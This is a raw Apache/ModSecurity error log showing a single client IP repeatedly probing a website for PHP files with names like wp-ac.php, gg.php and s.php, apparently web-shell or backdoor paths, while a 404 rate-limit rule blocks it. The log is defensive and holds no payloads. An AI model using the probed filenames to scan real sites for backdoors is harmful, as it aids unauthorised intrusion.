[Tue Dec 09 20:32:20.179380 2025] [:error] [pid 30591:tid 30607] [client 4.190.219.177:10403] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTgW1BG-g76drVdWQUV6NwAAAE0"]
[Tue Dec 09 20:32:20.611876 2025] [:error] [pid 30499:tid 30549] [client 4.190.219.177:64184] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTgW1E0x3OqZTOPp7cn0RwAAAVM"]
[Tue Dec 09 20:32:21.658239 2025] [:error] [pid 30500:tid 30578] [client 4.190.219.177:11154] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-securitiy.php"] [unique_id "aTgW1a2eIIK3JPWHCXXgfgAAAZU"]
[Tue Dec 09 20:32:22.269479 2025] [:error] [pid 30499:tid 30535] [client 4.190.219.177:60009] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ac.php"] [unique_id "aTgW1k0x3OqZTOPp7cn0SQAAAUU"]
[Tue Dec 09 20:32:22.896878 2025] [:error] [pid 30591:tid 30601] [client 4.190.219.177:30663] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ac.php"] [unique_id "aTgW1hG-g76drVdWQUV6OgAAAEc"]
[Tue Dec 09 20:32:23.183628 2025] [:error] [pid 30500:tid 30558] [client 4.190.219.177:56143] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ac.php"] [unique_id "aTgW162eIIK3JPWHCXXggQAAAYE"]
[Tue Dec 09 20:32:23.756637 2025] [:error] [pid 30499:tid 30536] [client 4.190.219.177:10393] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ac.php"] [unique_id "aTgW100x3OqZTOPp7cn0TQAAAUY"]
[Tue Dec 09 20:32:24.083991 2025] [:error] [pid 30499:tid 30545] [client 4.190.219.177:10404] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nof.php"] [unique_id "aTgW2E0x3OqZTOPp7cn0TgAAAU8"]
[Tue Dec 09 20:32:24.344011 2025] [:error] [pid 30499:tid 30530] [client 4.190.219.177:60893] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nof.php"] [unique_id "aTgW2E0x3OqZTOPp7cn0TwAAAUA"]
[Tue Dec 09 20:32:24.686452 2025] [:error] [pid 30591:tid 30608] [client 4.190.219.177:30660] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nof.php"] [unique_id "aTgW2BG-g76drVdWQUV6QAAAAE4"]
[Tue Dec 09 20:32:24.993019 2025] [:error] [pid 30591:tid 30595] [client 4.190.219.177:60934] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nof.php"] [unique_id "aTgW2BG-g76drVdWQUV6QgAAAEE"]
[Tue Dec 09 20:32:25.440303 2025] [:error] [pid 30499:tid 30544] [client 4.190.219.177:11180] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aTgW2U0x3OqZTOPp7cn0UAAAAU4"]
[Tue Dec 09 20:32:25.810687 2025] [:error] [pid 30500:tid 30576] [client 4.190.219.177:60019] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aTgW2a2eIIK3JPWHCXXghAAAAZM"]
[Tue Dec 09 20:32:26.422956 2025] [:error] [pid 30591:tid 30597] [client 4.190.219.177:59980] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aTgW2hG-g76drVdWQUV6RQAAAEM"]
[Tue Dec 09 20:32:26.906197 2025] [:error] [pid 5276:tid 5295] [client 4.190.219.177:30719] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aTgW2ktSXwbewdwyu-1trwAAANE"]
[Tue Dec 09 20:32:27.429605 2025] [:error] [pid 30499:tid 30547] [client 4.190.219.177:60937] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbalanceable.php"] [unique_id "aTgW200x3OqZTOPp7cn0UQAAAVE"]
[Tue Dec 09 20:32:27.948658 2025] [:error] [pid 30500:tid 30560] [client 4.190.219.177:62656] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbalanceable.php"] [unique_id "aTgW262eIIK3JPWHCXXgiQAAAYM"]
[Tue Dec 09 20:32:28.387837 2025] [:error] [pid 30591:tid 30612] [client 4.190.219.177:60891] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbalanceable.php"] [unique_id "aTgW3BG-g76drVdWQUV6SgAAAFI"]
[Tue Dec 09 20:32:28.679502 2025] [:error] [pid 30498:tid 30503] [client 4.190.219.177:60990] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/unbalanceable.php"] [unique_id "aTgW3B2mcZJQ5qP_RC0yfQAAAAE"]
[Tue Dec 09 20:32:28.972187 2025] [:error] [pid 30500:tid 30566] [client 4.190.219.177:58590] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aTgW3K2eIIK3JPWHCXXgjQAAAYk"]
[Tue Dec 09 20:32:29.286622 2025] [:error] [pid 30500:tid 30565] [client 4.190.219.177:62699] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aTgW3a2eIIK3JPWHCXXgjgAAAYg"]
[Tue Dec 09 20:32:29.770792 2025] [:error] [pid 36456:tid 36474] [client 4.190.219.177:62717] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aTgW3R0pAnOyfXl_v40qRgAAAJA"]
[Tue Dec 09 20:32:30.143884 2025] [:error] [pid 30500:tid 30579] [client 4.190.219.177:56627] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-front.php"] [unique_id "aTgW3q2eIIK3JPWHCXXgkQAAAZY"]
[Tue Dec 09 20:32:30.660140 2025] [:error] [pid 36456:tid 36481] [client 4.190.219.177:60926] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-advaced.php"] [unique_id "aTgW3h0pAnOyfXl_v40qSAAAAJc"]
[Tue Dec 09 20:32:31.189991 2025] [:error] [pid 30499:tid 30546] [client 4.190.219.177:62709] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-advaced.php"] [unique_id "aTgW300x3OqZTOPp7cn0UgAAAVA"]
[Tue Dec 09 20:32:31.580106 2025] [:error] [pid 30499:tid 30552] [client 4.190.219.177:58581] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-advaced.php"] [unique_id "aTgW300x3OqZTOPp7cn0UwAAAVY"]
[Tue Dec 09 20:32:31.836397 2025] [:error] [pid 30499:tid 30541] [client 4.190.219.177:10455] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-advaced.php"] [unique_id "aTgW300x3OqZTOPp7cn0VQAAAUs"]
[Tue Dec 09 20:32:32.418467 2025] [:error] [pid 30499:tid 30540] [client 4.190.219.177:10435] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aTgW4E0x3OqZTOPp7cn0VwAAAUo"]
[Tue Dec 09 20:32:32.958825 2025] [:error] [pid 30499:tid 30537] [client 4.190.219.177:59148] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aTgW4E0x3OqZTOPp7cn0XAAAAUc"]
[Tue Dec 09 20:32:33.612954 2025] [:error] [pid 5276:tid 5295] [client 4.190.219.177:10854] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aTgW4UtSXwbewdwyu-1tvAAAANE"]
[Tue Dec 09 20:32:34.149197 2025] [proxy_fcgi:error] [pid 30499:tid 30538] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:34.285112 2025] [proxy_fcgi:error] [pid 30499:tid 30545] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:34.618289 2025] [proxy_fcgi:error] [pid 30499:tid 30547] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:35.014663 2025] [proxy_fcgi:error] [pid 30499:tid 30541] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:35.166488 2025] [proxy_fcgi:error] [pid 30499:tid 30534] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:35.294179 2025] [proxy_fcgi:error] [pid 30499:tid 30543] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:35.432349 2025] [proxy_fcgi:error] [pid 30499:tid 30537] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:35.563969 2025] [proxy_fcgi:error] [pid 30499:tid 30549] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:35.853833 2025] [proxy_fcgi:error] [pid 30499:tid 30553] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:36.037008 2025] [proxy_fcgi:error] [pid 30499:tid 30539] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:36.161108 2025] [proxy_fcgi:error] [pid 30499:tid 30531] [client 4.190.219.177:64808] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:32:36.282976 2025] [:error] [pid 30499:tid 30548] [client 4.190.219.177:64808] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aTgW5E0x3OqZTOPp7cn0fQAAAVI"]
[Tue Dec 09 20:32:36.641146 2025] [:error] [pid 30591:tid 30597] [client 4.190.219.177:61363] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aTgW5BG-g76drVdWQUV6TAAAAEM"]
[Tue Dec 09 20:32:36.960849 2025] [:error] [pid 36456:tid 36469] [client 4.190.219.177:61319] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aTgW5B0pAnOyfXl_v40qTgAAAIs"]
[Tue Dec 09 20:32:37.352155 2025] [:error] [pid 36456:tid 36476] [client 4.190.219.177:61355] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aTgW5R0pAnOyfXl_v40qUAAAAJI"]
[Tue Dec 09 20:32:37.757315 2025] [:error] [pid 36456:tid 36473] [client 4.190.219.177:10335] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aTgW5R0pAnOyfXl_v40qUQAAAI8"]
[Tue Dec 09 20:32:38.133873 2025] [:error] [pid 30591:tid 30604] [client 4.190.219.177:62622] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aTgW5hG-g76drVdWQUV6TgAAAEo"]
[Tue Dec 09 20:32:38.525105 2025] [:error] [pid 30498:tid 30507] [client 4.190.219.177:10964] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aTgW5h2mcZJQ5qP_RC0ykwAAAAU"]
[Tue Dec 09 20:32:38.884746 2025] [:error] [pid 30500:tid 30575] [client 4.190.219.177:10958] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gecko.php"] [unique_id "aTgW5q2eIIK3JPWHCXXg2QAAAZI"]
[Tue Dec 09 20:32:39.145467 2025] [:error] [pid 30498:tid 30526] [client 4.190.219.177:40571] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW5x2mcZJQ5qP_RC0ylgAAABg"]
[Tue Dec 09 20:32:39.435461 2025] [:error] [pid 30498:tid 30513] [client 4.190.219.177:40565] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW5x2mcZJQ5qP_RC0ymAAAAAs"]
[Tue Dec 09 20:32:39.735159 2025] [:error] [pid 30498:tid 30511] [client 4.190.219.177:40568] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW5x2mcZJQ5qP_RC0ymgAAAAk"]
[Tue Dec 09 20:32:40.196435 2025] [:error] [pid 30500:tid 30581] [client 4.190.219.177:64236] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW6K2eIIK3JPWHCXXg5AAAAZg"]
[Tue Dec 09 20:32:40.457088 2025] [:error] [pid 30591:tid 30610] [client 4.190.219.177:62616] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aTgW6BG-g76drVdWQUV6UQAAAFA"]
[Tue Dec 09 20:32:40.785471 2025] [:error] [pid 5276:tid 5288] [client 4.190.219.177:62615] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aTgW6EtSXwbewdwyu-1tyAAAAMo"]
[Tue Dec 09 20:32:41.228046 2025] [:error] [pid 30498:tid 30514] [client 4.190.219.177:11003] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aTgW6R2mcZJQ5qP_RC0yogAAAAw"]
[Tue Dec 09 20:32:41.598884 2025] [:error] [pid 30499:tid 30552] [client 4.190.219.177:10955] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aTgW6U0x3OqZTOPp7cn0mgAAAVY"]
[Tue Dec 09 20:32:42.093408 2025] [:error] [pid 30591:tid 30614] [client 4.190.219.177:40532] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW6hG-g76drVdWQUV6UwAAAFQ"]
[Tue Dec 09 20:32:42.345886 2025] [:error] [pid 36456:tid 36479] [client 4.190.219.177:59837] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW6h0pAnOyfXl_v40qVwAAAJU"]
[Tue Dec 09 20:32:42.627089 2025] [:error] [pid 36456:tid 36481] [client 4.190.219.177:59812] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW6h0pAnOyfXl_v40qWAAAAJc"]
[Tue Dec 09 20:32:42.899398 2025] [:error] [pid 30591:tid 30615] [client 4.190.219.177:59786] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aTgW6hG-g76drVdWQUV6VgAAAFU"]
[Tue Dec 09 20:32:43.186979 2025] [:error] [pid 30499:tid 30553] [client 4.190.219.177:40525] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aTgW600x3OqZTOPp7cn0owAAAVc"]
[Tue Dec 09 20:32:43.577966 2025] [:error] [pid 30591:tid 30609] [client 4.190.219.177:11001] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aTgW6xG-g76drVdWQUV6WAAAAE8"]
[Tue Dec 09 20:32:44.093398 2025] [:error] [pid 36456:tid 36482] [client 4.190.219.177:11004] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aTgW7B0pAnOyfXl_v40qXAAAAJg"]
